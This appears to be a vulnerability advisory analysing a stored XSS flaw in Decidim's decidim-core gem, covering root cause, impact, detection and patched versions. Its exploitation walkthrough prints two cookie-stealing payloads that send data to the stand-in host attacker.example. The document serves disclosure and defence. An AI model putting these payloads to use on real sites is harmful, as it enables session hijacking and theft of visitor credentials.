CVE-2026-45572: 
Ruby vulnerability analysis and mitigation

CVE-2026-45572 is a stored Cross-Site Scripting (XSS) vulnerability in Decidim, an open-source participatory democracy platform, affecting the decidim-core RubyGems package. A privileged admin user with landing-page editing rights can store arbitrary HTML and JavaScript in an HTML block, which is then rendered unsanitized to all page visitors. Affected versions are decidim-core < 0.30.9, >= 0.31.0.rc1 and < 0.31.5, and >= 0.32.0.rc1 and < 0.32.0. The vulnerability was discovered during a security audit organized by the Decidim Association and conducted by Radically Open Security, with the advisory published on July 13, 2026. It carries a CVSS v3.1 base score of 4.8 (Moderate) (GitHub Advisory, Decidim Advisory).

The root cause is improper neutralization of input during web page generation (CWE-79 / CWE-94), specifically in Decidim::ContentBlocks::HtmlCell#html_content and related static page content block cells (SummaryCell, SectionCell, TwoPaneSectionCell). These cells called Ruby's .html_safe on admin-supplied HTML without passing it through any sanitization boundary, unlike the rest of the Decidim codebase which consistently uses decidim_sanitize_editor or decidim_sanitize_editor_admin. An attacker with admin access to a landing page can craft an HTML block containing a <script> tag or event-handler attributes (e.g., onclick, onerror), which will execute in the browsers of any visitor who loads the affected page. The fix, implemented in PR #16451, replaces .html_safe with decidim_sanitize_editor_admin() across all four affected cell files (GitHub PR, GitHub Advisory).

Successful exploitation allows a malicious or compromised admin to persist JavaScript that executes in the browsers of all visitors to the affected landing page. This can lead to session hijacking, credential theft, phishing overlays, or redirection to malicious sites — all affecting the confidentiality and integrity of visitor data. Availability is not directly impacted. Because Decidim is widely deployed by government and civic organizations, the affected surface includes potentially sensitive democratic participation platforms (GitHub Advisory, Decidim Advisory).

No public exploit code or in-the-wild exploitation has been reported for CVE-2026-45572. Exploitation requires high privileges (admin-level landing page editing rights), which significantly limits the attack surface compared to unauthenticated or participant-controlled XSS. The CVE status is listed as "Reserved" and no EPSS score or CISA KEV catalog entry is currently available. The practical risk is primarily tied to insider threats or compromised admin accounts (GitHub Advisory).

1. Gain Admin Access: Obtain or compromise an account with landing-page editing rights on a Decidim instance running an affected version (decidim-core < 0.30.9, < 0.31.5, or < 0.32.0).
2. Navigate to Landing Page Editor: Log in to the Decidim admin panel and navigate to the landing page or static page content block editor for the target scope.
3. Insert Malicious Payload: Add or edit an HTML block content block and insert a JavaScript payload, such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or an event-handler attribute like <img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">.
4. Save and Publish: Save the content block. The payload is stored in the database without sanitization.
5. Victim Visits Page: When any visitor loads the affected public landing page, Decidim::ContentBlocks::HtmlCell#html_content renders the stored HTML via .html_safe, causing the injected script to execute in the visitor's browser.
6. Harvest Results: Collect exfiltrated session cookies, credentials, or other data from the attacker-controlled server (GitHub Advisory, GitHub PR).

• Logs: Admin audit logs showing unexpected edits to landing page or static page HTML content blocks, particularly by accounts not normally associated with content editing; access logs showing the affected page being loaded by many users after a suspicious admin edit.
• File System / Database: Database records in content block settings containing <script> tags, JavaScript event-handler attributes (onclick, onerror, onmouseover), or external URL references within HTML block fields.
• Network: Outbound requests from visitor browsers to unexpected external domains shortly after loading Decidim landing pages; unusual POST requests to admin content block endpoints from unfamiliar IP addresses.
• Process/Application: Unexpected JavaScript errors or console warnings in browser developer tools when visiting Decidim landing pages, indicating injected script execution (GitHub Advisory).

Upgrade decidim-core to one of the patched versions: 0.30.9, 0.31.5, or 0.32.0. The fix replaces unsafe .html_safe calls with decidim_sanitize_editor_admin() in HtmlCell, SummaryCell, SectionCell, and TwoPaneSectionCell. As an interim workaround, restrict landing-page editing permissions strictly to fully trusted administrators and audit existing HTML content blocks for suspicious payloads. Organizations should review admin account access and apply the principle of least privilege (Decidim Advisory, GitHub PR).

The vulnerability was discovered through a formal security audit organized by the Decidim Association and conducted by Radically Open Security, funded by NGI. The fix was initially contributed by an autonomous AI agent (UNA, developed by Tom Budd) via a public pull request, which prompted a note from Decidim maintainer @andreslucena that security vulnerabilities should be reported privately via security@decidim.org per the project's security disclosure policy. The PR was ultimately merged after review and backported to all supported release branches (GitHub PR, Decidim Advisory).